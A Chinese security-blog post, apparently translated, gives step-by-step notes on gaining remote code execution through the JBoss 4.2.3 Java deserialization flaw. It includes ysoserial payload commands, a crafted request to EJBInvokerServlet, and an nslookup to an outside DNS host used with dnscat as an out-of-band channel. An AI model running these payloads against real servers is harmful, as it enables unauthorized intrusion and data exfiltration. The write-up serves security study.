回归最本质的信息安全

一次利用JBOSS反序列化进行渗透的笔记

2016年9月3日发布

3,556
0
0

导语:本文中全是简化的步骤,大家可以在本地搭建一个JSP环境。在渗透过程中,我也遇到一些不知道如何解决的问题。但是依然可以通过JBoss (4.2.3) 有一个JAVA反序列化漏洞获得远程控制权限。

首先,本篇文章是参考以下几篇文章和工具介绍完成的:

https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#jboss

https://github.com/frohoff/ysoserial

http://artsploit.blogspot.com/2016/01/paypal-rce.html

本文中全是简化的步骤,大家可以在本地搭建一个JSP环境。在渗透过程中,我也遇到一些不知道如何解决的问题。但是依然可以通过JBoss (4.2.3) 有一个JAVA反序列化漏洞获得远程控制权限。在这台机器上的端口存在着端口过滤,这样的话,我就没法用http,ftp和telent端口。不过通过一些报错页面可以确定这台机器是Windows主机。

步骤,利用

1.用ysoserial生成payload

2.将你的payload写入文件中

$ java -jarysoserial-0.0.4-all.jarCommonsCollections1 ‘fake.exe’ > serialdata

3.在本例子中,我使用的是‘fake.exe’ 作为例子。原来我跑的命令是类似于 wget, curl, python, perl, etc这样的,但是返回都是如下“The system cannot find the filespecified”

4.首先,用如下所示的请求包头:

POST /invoker/EJBInvokerServlet HTTP/1.1
Host: site.com
Accept: */*
Accept-Language: en
ContentType: application/x-java-serialized-object;.jboss.invocation.MarshalledInvocation
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 1400

5.在burpsuit中拦截该包,进行进一步改包

6.响应包(‘cannot find file’没有成功)

7.然后我决定试试cmd.exe

$java -jar ysoserial-0.0.4-all.jarCommonsCollections1 ‘cmd.exe’ > serialdata

8.请求包:

9.响应包(“cannotfind file”没有了,说明成功了)

 

10. 从结果中,我们已经可以运行cmd.exe了,我试了好几种内网外联,但是只有DNS可行,在这里也要感谢@dawgyg的DNS服务器。

11. 命令:

$ java -jarysoserial-0.0.4-all.jarCommonsCollections1 ‘nslookup mealstest.example.com’> serialtest

12. DNS服务器日志:

$ sudo tail -f/var/log/messages
…snip…
Jul 2200:10:00 server named[7356]: client18x.x.x.x#33347: query: mealstest.example.comIN A -EDC (10.0.5.200)

13.就这样,通过dnscat,我们基本上可以一行一行的看到结果,基本上已经是可以远程代码执行了

​本文翻译于seanmelia,如若转载,请注明来源于嘶吼 http://www.4hou.com/technology/2307.html

点赞 0
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

Change

Change

嘶吼编辑

发私信

发表评论